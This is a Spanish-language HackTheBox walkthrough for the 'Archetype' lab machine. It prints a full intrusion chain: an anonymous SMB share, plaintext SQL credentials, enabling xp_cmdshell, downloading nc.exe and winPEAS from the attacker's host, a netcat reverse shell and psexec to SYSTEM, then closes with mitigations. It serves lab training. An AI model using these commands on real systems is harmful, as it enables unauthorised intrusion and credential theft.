ARCHETYPE

// SMB anónimo → prod.dtsConfig con credenciales → MSSQL xp_cmdshell → PS history → Administrator

● MUY FÁCIL HACKTHEBOX WINDOWS MSSQL · 1433 SMB CREDS EN CLARO 📅 Octubre 2026 · Por Brandeiks

Reconocimiento

1
CONTEXTO DE LA MÁQUINA

Archetype es una máquina Windows de dificultad Very Easy que encadena fallos muy habituales en entornos corporativos reales: un Microsoft SQL Server mal configurado, un recurso SMB accesible sin autenticación y credenciales en texto plano dentro de un archivo de configuración. El objetivo didáctico es claro — ver cómo un dato olvidado en un share lleva, paso a paso, de ningún acceso a SYSTEM.

2
ESCANEO DE PUERTOS CON NMAP

Lanzamos un escaneo completo de los 65 535 puertos TCP con detección de servicios y scripts por defecto. La pregunta que guía esta fase es «¿qué puerto aloja un servidor de base de datos?» — y la respuesta está en el 1433.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.95.187 -oX archetype.xml
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664-49669/tcp open msrpc Microsoft Windows RPC
 
Host script results:
| smb-os-discovery: OS: Windows Server 2019 Standard 17763
| Computer name: Archetype · Workgroup: WORKGROUP
| smb-security-mode:
| message_signing: disabled (dangerous, but default)

// EL PUERTO DE LA BASE DE DATOS

El servicio ms-sql-s en el puerto 1433 es Microsoft SQL Server 2017. Es el objetivo de esta máquina: si conseguimos credenciales válidas podremos autenticarnos contra él y, desde SQL, ejecutar comandos en el sistema operativo. El puerto 445 (SMB) será la vía para obtener esas credenciales.

3
REPORTE HTML CON XSLTPROC

Como escribimos la salida en XML con -oX, la transformamos en un reporte HTML navegable con xsltproc y la hoja de estilos que trae nmap. Es cómodo para revisar los resultados de un vistazo.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl archetype.xml > archetype.html

SMB · Credenciales en claro

4
LISTAR LOS RECURSOS COMPARTIDOS

Con smbclient -L listamos los recursos compartidos del servidor usando una sesión nula (-N, sin contraseña). El recurso no administrativo que nos interesa es backups — los que terminan en $ (ADMIN$, C$, IPC$) son administrativos u ocultos.

SMBCLIENT
$ smbclient -L 10.129.95.187 -N
    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$         Disk      Remote Admin
    backups        Disk
    C$             Disk      Default share
    IPC$          IPC       Remote IPC
5
CONECTAR Y DESCARGAR prod.dtsConfig

Nos conectamos al recurso backups, listamos su contenido con ls y descargamos el único archivo que contiene — prod.dtsConfig — con get.

SMBCLIENT
$ smbclient //10.129.95.187/backups -N
smb: \> ls
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig
smb: \> exit
6
LEER EL ARCHIVO DE CONFIGURACIÓN

El archivo prod.dtsConfig es la configuración de un paquete SSIS/DTS de SQL Server. Dentro guarda una cadena de conexión con el usuario y la contraseña en texto plano:

CAT
$ cat prod.dtsConfig
<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo GeneratedBy="..." GeneratedDate="20.1.2019 10:01:34"/>
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property" ValueType="String"
   Path="\Package.Connections[Destination].Properties[ConnectionString]">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;
    Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;</ConfiguredValue>
  </Configuration>
</DTSConfiguration>

// CREDENCIALES EXPUESTAS

Usuario ARCHETYPE\sql_svc y contraseña M3g4c0rp123. Es la cuenta de servicio del SQL Server, guardada en claro en un archivo accesible por cualquiera vía SMB sin autenticación. Con estas credenciales pasamos directamente a atacar el 1433.

MSSQL · xp_cmdshell

7
LOCALIZAR EL CLIENTE DE IMPACKET

El script de la colección Impacket que establece una conexión autenticada a Microsoft SQL Server es mssqlclient.py (impacket-mssqlclient en Kali). Lo localizamos así:

LOCATE
$ locate impacket | grep -i sql
/usr/bin/impacket-mssqlclient
8
AUTENTICARSE CONTRA SQL SERVER

Nos conectamos con las credenciales obtenidas. Como sql_svc es una cuenta de dominio local (ARCHETYPE\sql_svc) usamos -windows-auth para autenticar por NTLM en vez de por login SQL. Ojo con la barra: en la terminal de Linux la ruta se escribe con / (ARCHETYPE/sql_svc), no con la \ de Windows.

MSSQLCLIENT
$ impacket-mssqlclient ARCHETYPE/sql_svc@10.129.95.187 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.00.1000)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc dbo@master)>
9
HABILITAR xp_cmdshell

El procedimiento almacenado extendido que genera una shell de comandos de Windows desde SQL es xp_cmdshell. Viene deshabilitado por defecto, así que primero activamos las opciones avanzadas y luego el propio procedimiento, aplicando cada cambio con RECONFIGURE:

SQL> EXEC sp_configure 'show advanced options', 1;
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
output
------------------
archetype\sql_svc

// QUÉ ES xp_cmdshell

xp_cmdshell es un procedimiento almacenado extendido de SQL Server que ejecuta cadenas de línea de comandos de Windows (cmd.exe) directamente desde T-SQL y devuelve la salida como filas de texto. Por el riesgo que supone está apagado de fábrica; habilitarlo requiere permisos elevados — que aquí tenemos porque sql_svc es sysadmin sobre la instancia.

10
LA FLAG DE USUARIO

Ya con ejecución de comandos, enumeramos el escritorio de sql_svc y leemos user.txt:

SQL> EXEC xp_cmdshell 'dir C:\Users\sql_svc\Desktop';
 Directory of C:\Users\sql_svc\Desktop
02/25/2020 07:37 AM 32 user.txt
 
SQL> EXEC xp_cmdshell 'type C:\Users\sql_svc\Desktop\user.txt';
3e7b102e78218e935bf3f4951fec21a3

// FLAG DE USUARIO

3e7b102e78218e935bf3f4951fec21a3 — obtenida vía SMB → credenciales en claro → MSSQL xp_cmdshell. Nos queda escalar a Administrator.

Escalada · PowerShell History

11
SERVIR winPEAS Y nc.exe

Para escalar necesitamos dos binarios en la víctima: winPEASx64.exe (el script que busca rutas de escalada de privilegios en Windows) y nc.exe (netcat, para una shell más cómoda). Los copiamos a un directorio de trabajo y los servimos por HTTP desde Kali:

HTTP SERVER
$ cp /usr/share/peass/winpeas/winPEASx64.exe ~/Desktop/Archetype/
$ cp /usr/share/windows-resources/binaries/nc.exe ~/Desktop/Archetype/
$ cd ~/Desktop/Archetype
$ python3 -m http.server 80
12
DESCARGARLOS EN LA VÍCTIMA

Desde el prompt SQL, con xp_cmdshell y Invoke-WebRequest de PowerShell, bajamos los dos binarios al escritorio de sql_svc. Sustituye 10.10.16.7 por la IP de tu interfaz tun0 de la VPN.

DESCARGA · WINPEAS
SQL> EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest
   -Uri http://10.10.16.7/winPEASx64.exe
   -OutFile C:\Users\sql_svc\Desktop\winpeas.exe"';
DESCARGA · NC
SQL> EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest
   -Uri http://10.10.16.7/nc.exe
   -OutFile C:\Users\sql_svc\Desktop\nc.exe"';
13
REVERSE SHELL CON NETCAT

Dejamos netcat a la escucha en Kali y, desde SQL, lanzamos nc.exe contra nuestra IP para recibir una shell interactiva como sql_svc:

LISTENER
$ nc -lvnp 4444
REVERSE SHELL
SQL> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc.exe -e cmd.exe 10.10.16.7 4444';
listening on [any] 4444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.95.187] 49678
Microsoft Windows [Version 10.0.17763.2061]
C:\Users\sql_svc\Desktop>
14
WINPEAS ENCUENTRA EL HISTORIAL

Ejecutamos winpeas.exe (o winpeas.exe > winpeas_full.txt para guardar el informe). Entre sus hallazgos, en la sección de PowerShell, aparece la joya: un archivo de historial de PowerShell que PSReadLine guarda automáticamente con todo lo que el usuario escribió.

PowerShell Settings (T1059.001)
  PowerShell v5 Version: 5.1.17763.1
PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\
  Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 79B
15
LEER EL HISTORIAL DE POWERSHELL

Volcamos el contenido del historial. Dentro hay un comando que un administrador dejó olvidado, montando un recurso de red con su propia contraseña en claro:

TYPE · PS HISTORY
type C:\Users\sql_svc\AppData\Roaming\Microsoft\
   Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

// CONTRASEÑA DE ADMINISTRATOR

El historial revela la contraseña de la cuenta administrator: MEGACORP_4dm1n!!. Con ella ya podemos autenticarnos como administrador del sistema y conseguir la flag de root.

16
ROOT CON IMPACKET-PSEXEC

Usamos impacket-psexec para obtener una shell como NT AUTHORITY\SYSTEM con las credenciales de administrator. (La IP cambia en cada despliegue de la máquina; aquí ya aparecía como 10.129.4.229.)

PSEXEC
$ impacket-psexec 'Administrator:MEGACORP_4dm1n!!@10.129.4.229'
[*] Requesting shares on 10.129.4.229.....
[*] Found writable share ADMIN$
[*] Uploading file uswZCogA.exe · Creating service YFTF
Microsoft Windows [Version 10.0.17763.2061]
 
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b91ccec3305e98240082d4474b848528

// FLAG DE ROOT

b91ccec3305e98240082d4474b848528 — acceso como NT AUTHORITY\SYSTEM vía impacket-psexec con la contraseña de administrator rescatada del historial de PowerShell.

// LECCIÓN

Archetype es una cadena de descuidos encadenados: un share SMB sin autenticar con un archivo de configuración, credenciales en texto plano dentro de él, una cuenta de servicio con permisos de sysadmin en SQL, y una contraseña de administrador olvidada en el historial de PowerShell. La mitigación pasa por cerrar los recursos anónimos, no guardar secretos en configs ni dejarlos en el historial (Set-PSReadLineOption -HistorySaveStyle SaveNothing), aplicar el mínimo privilegio a las cuentas de servicio y no reutilizar la contraseña del administrador.


VULNERABILIDAD COMPONENTE IMPACTO
Recurso SMB anónimo Share \\backups (sesión nula) Lectura de prod.dtsConfig sin credenciales
Credenciales en claro prod.dtsConfig (cadena de conexión) Usuario y contraseña del servicio SQL expuestos
xp_cmdshell MSSQL 2017 · cuenta sysadmin Ejecución de comandos del SO desde SQL
Secreto en el historial PSReadLine ConsoleHost_history.txt Contraseña de Administrator → SYSTEM

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <ip> -oX a.xml
Escaneo completo de puertos TCP con detección de versión y scripts por defecto. Revela el 1433 (MSSQL) y el 445 (SMB), las dos piezas de la cadena.
  • -p- — los 65 535 puertos TCP
  • -sSCV — SYN scan + scripts por defecto (-sC) + versión (-sV)
  • -n -Pn — sin DNS y sin ping previo (asume host vivo)
  • --min-rate=5000 — mínimo de paquetes por segundo
  • -oX — salida en XML (para xsltproc)
smbclient
smbclient -L <ip> -N · smbclient //<ip>/backups -N
Cliente SMB. Primero lista los recursos compartidos y luego se conecta al share para descargar archivos con get.
  • -L — lista los recursos compartidos del host
  • -N — sin contraseña (sesión nula / null session)
  • get <archivo> — descarga un archivo del share
impacket-mssqlclient
impacket-mssqlclient DOMINIO/usuario@<ip> -windows-auth
Cliente de SQL Server de Impacket. Abre una shell SQL interactiva desde la que se habilita y usa xp_cmdshell.
  • -windows-auth — autenticación NTLM (login de Windows, no SQL)
  • DOMINIO/usuario — en Linux la barra es /, no \
  • enable_xp_cmdshell — comando interno equivalente a los sp_configure
xp_cmdshell / sp_configure
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'cmd';
Procedimiento extendido que ejecuta comandos de Windows desde T-SQL. Hay que habilitarlo primero con sp_configure y RECONFIGURE.
  • show advanced options — expone las opciones avanzadas
  • xp_cmdshell — activa el procedimiento (1 = on)
  • RECONFIGURE — aplica el cambio de configuración
Invoke-WebRequest + nc.exe
powershell -c "Invoke-WebRequest -Uri http://<ip>/nc.exe -OutFile nc.exe"
Descarga binarios a la víctima desde un servidor HTTP (python3 -m http.server) y abre una reverse shell con netcat.
  • -Uri — URL del recurso a descargar
  • -OutFile — ruta destino en la víctima
  • nc.exe -e cmd.exe <ip> <puerto> — reverse shell
winPEAS · impacket-psexec
winpeas.exe > out.txt · impacket-psexec 'Administrator:PASS@<ip>'
winPEAS busca rutas de escalada (aquí, el historial de PowerShell); psexec da una shell como SYSTEM con credenciales válidas de administrador.
  • winPEASx64.exe — enumeración de privesc en Windows
  • ConsoleHost_history.txt — historial de PSReadLine
  • psexec usuario:pass@ip — ejecución remota como SYSTEM
17
SECUENCIA COMPLETA
RESUMEN
# 1. escanear
$ nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.95.187 -oX archetype.xml
# 2. enumerar y descargar el share
$ smbclient -L 10.129.95.187 -N
$ smbclient //10.129.95.187/backups -N # get prod.dtsConfig
# 3. MSSQL -> xp_cmdshell -> user.txt
$ impacket-mssqlclient ARCHETYPE/sql_svc@10.129.95.187 -windows-auth
# 4. winPEAS -> PS history -> Administrator -> root.txt
$ impacket-psexec 'Administrator:MEGACORP_4dm1n!!@10.129.95.187'

Glosario

Microsoft SQL Server / MSSQL
Sistema gestor de bases de datos de Microsoft que escucha por defecto en el puerto 1433. Además de SQL puede interactuar con el sistema operativo a través de procedimientos almacenados extendidos como xp_cmdshell, lo que lo convierte en un objetivo clásico cuando se obtienen credenciales válidas.
xp_cmdshell
Procedimiento almacenado extendido de SQL Server que ejecuta comandos de cmd.exe desde T-SQL y devuelve la salida como filas. Está deshabilitado por defecto; se activa con sp_configure 'xp_cmdshell', 1 + RECONFIGURE, algo que solo puede hacer una cuenta con rol sysadmin.
Impacket
Colección de scripts en Python para hablar con protocolos de red de Windows (SMB, MSRPC, MSSQL, Kerberos…). En esta máquina usamos mssqlclient.py para la base de datos y psexec.py para ejecutar comandos como SYSTEM a partir de credenciales válidas.
SMB y sesión nula (null session)
SMB es el protocolo de compartición de archivos de Windows (puerto 445). Una sesión nula es una conexión sin usuario ni contraseña (-N); si el servidor la permite sobre un recurso, cualquiera puede listar y leer su contenido, como ocurre aquí con el share backups.
.dtsConfig (SSIS / DTS)
Archivo de configuración de un paquete SSIS (SQL Server Integration Services). Guarda, entre otras cosas, la cadena de conexión a la base de datos; si se almacena con la contraseña en texto plano, filtra directamente las credenciales del servicio.
Cuenta de servicio (sql_svc)
Cuenta bajo la que corre un servicio de Windows (aquí, SQL Server). Suele configurarse con más privilegios de los necesarios; cuando además es sysadmin en la instancia, comprometerla equivale a ejecutar comandos en el sistema operativo.
winPEAS
Windows Privilege Escalation Awesome Script. Ejecutable (.exe, .bat, .ps1) que enumera automáticamente configuraciones débiles, credenciales guardadas y rutas de escalada. Es el equivalente Windows de LinPEAS; aquí es quien señala el historial de PowerShell.
Historial de PowerShell (PSReadLine)
El módulo PSReadLine guarda cada comando escrito en PowerShell en ConsoleHost_history.txt, dentro del perfil del usuario. Es una fuente habitual de secretos: contraseñas, rutas internas o comandos net use con credenciales, como el que da acceso a Administrator en esta máquina.
psexec
Técnica (y herramienta) para ejecutar comandos de forma remota en Windows: sube un servicio al share ADMIN$ y lo arranca, obteniendo una shell como NT AUTHORITY\SYSTEM. La versión de Impacket solo necesita credenciales válidas de un usuario con acceso administrativo.
Reverse shell / netcat
Una reverse shell es una shell en la que la víctima se conecta de vuelta al atacante (que escucha con nc -lvnp). nc.exe -e cmd.exe ip puerto entrega cmd.exe por esa conexión, dando una sesión interactiva más cómoda que xp_cmdshell.

// RELACIONADOS POR ETIQUETAS